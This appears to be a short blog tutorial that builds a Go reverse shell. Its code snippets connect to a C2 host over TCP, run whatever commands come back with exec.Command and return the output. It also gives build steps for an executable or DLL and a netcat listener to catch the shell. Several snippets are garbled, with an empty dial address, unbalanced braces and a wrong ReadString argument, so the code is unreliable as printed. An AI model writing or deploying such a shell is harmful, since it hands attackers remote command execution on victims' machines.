Tiny Go reverse shell

Here is a really small Go reverse shell (30-ish lines of code that includes comments).

Environment setup:

Download/install Go from here. If you use Windows, you may want to download/install the TDM-GCC compiler from here as well.


First, we need to define what libraries we need:

 import "net"
 import "fmt"
 import "bufio"
 import "os/exec"
 import "strings"

Next, we only need the main function. Here we will connect to our C2 on a TCP port and display a command prompt.

   conn, _ := net.Dial("tcp", "")
   // we need to have an infinite loop so we can read/send data
     // show a command prompt
     fmt.Fprintf(conn, "$ ")

Now we need to read the the command. As the command is sent when you press ENTER, we need to remove the newline character ‘\n‘.

    buf, _ := bufio.NewReader(conn).ReadString("\n") 
    buf = strings.TrimRight(buf, "\n")

We are ready to execute the command. Well, not so fast. Remember, we are in an infinite loop so we need an exit condition. Let’s define the exit condition when you send the ‘exit’ command.

    // if command is exit, then get out of the loop 
    if buf == "exit" { 
    else {

Once we have that, we can to execute the command and capture its output. We will use Go’s exec.Command. However, before we send call it, we’ll need to see if there are any arguments. To achieve that, we’ll use the Split function and we’ll use the white space ‘ ‘ as a delimiter.

      command := strings.Split(buf, " ")
      cmd := exec.Command(command[0], command[1:]…)
      out,err := cmd.Output()
      if err != nil {
         fmt.Fprintf(conn, "Error\n")
      fmt.Fprintf(conn, string(out))

To compile it, run go build. If you want to compile it as a dll run:

go build -o <name>.dll -buildmode=c-shared

Now open netcat (nc -lvp 4444) and run your new executable.

Enjoy 🙂